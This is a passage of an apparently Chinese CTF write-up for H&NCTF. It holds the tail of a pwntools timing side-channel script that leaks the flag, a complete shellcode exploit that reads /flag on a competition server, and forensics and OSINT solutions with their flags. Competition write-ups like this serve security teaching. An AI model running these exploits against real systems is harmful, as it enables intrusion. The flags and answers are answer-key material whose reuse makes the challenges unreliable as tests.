syscall #read(0, rsp, 0x100);
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))

r.sendafter(b"command:", sc)
r.recv()
try:
r.recv(timeout=3)
r.close()
return True
except EOFError:
r.close()
return False

i = 0
flag = ''
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

info("flag: "+flag)

三步走战略

很简单的一个小东西

常规ORW。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch='amd64'

r=remote('27.25.151.198',44392)

r.recvuntil(b'advance.')
r.send(b'y')

r.recvuntil(b'speak:')
sc=shellcraft.open("/flag")
sc+=shellcraft.read(3, 0x1337000+0x200, 0x500)
sc+=shellcraft.write(1, 0x1337000+0x200, 0x500)
pl=asm(sc)
r.send(pl)

r.recvuntil(b'say?')
pl=b'a'*(0x40+8)+p64(0x1337000)
r.send(pl)

r.interactive()

FORENSICS

ez_game

附件通过网盘下载:https://pan.baidu.com/s/1Rk1sm5P-_x-6kF7Zy2_4-w?pwd=tbik flag用H&NCTF包裹

autopsy分析载入vhd文件分析,在 $RECYCLE.BIN 文件夹下找到zip文件,ARCHPR用rockyou.txt爆破出密码:~!@#$%^&*()_+,解压是一个flag.drawio。

再在磁盘下找到readme.txt,内容:

1
2
3
4
这次是个简单的取证小游戏
1.我藏了一个电脑,它的密码是很简单的弱密码,但是你找的到吗
2.图片没有隐写,但是它凭什么可以成为key,好难猜啊
3.如果你找的了flag,注意flag的内容全部大写

https://app.diagrams.net/ 导入drawio文件,得到flag,换头:

H&NCTF{YOU_R_SSSO_COOL}

OSINT

Chasing Freedom 2

Feel to your heart’s content.
flag格式: H&NCTF{月份和日期时间(0401)-地点}

hint1:地点无需添加省、市、县、区

hint2:结果为某某灯塔

hint3:日期时间那里不需要()包裹

hint4:注意错别字和无意间的空格

jpg属性查看,得到拍摄日期:0504。

百度识图可出是东庠岛灯塔。

H&NCTF{0504-东庠岛灯塔}

Chasing Freedom 3

Feel to your heart’s content.
flag格式: H&NCTF{月份和日期时间(0401)-码头-船名}

hint1:地点无需添加省、市、县、区

hint2:flag格式修正

hint3:日期时间那里不需要()包裹

hint4:注意错别字和无意间的空格

jpg属性查看,得到拍摄日期:0504。

百度识图可出是平潭岛码头,图里有船名不完整名称,搜索可出。

H&NCTF{0504-流水码头-岚庠渡3号}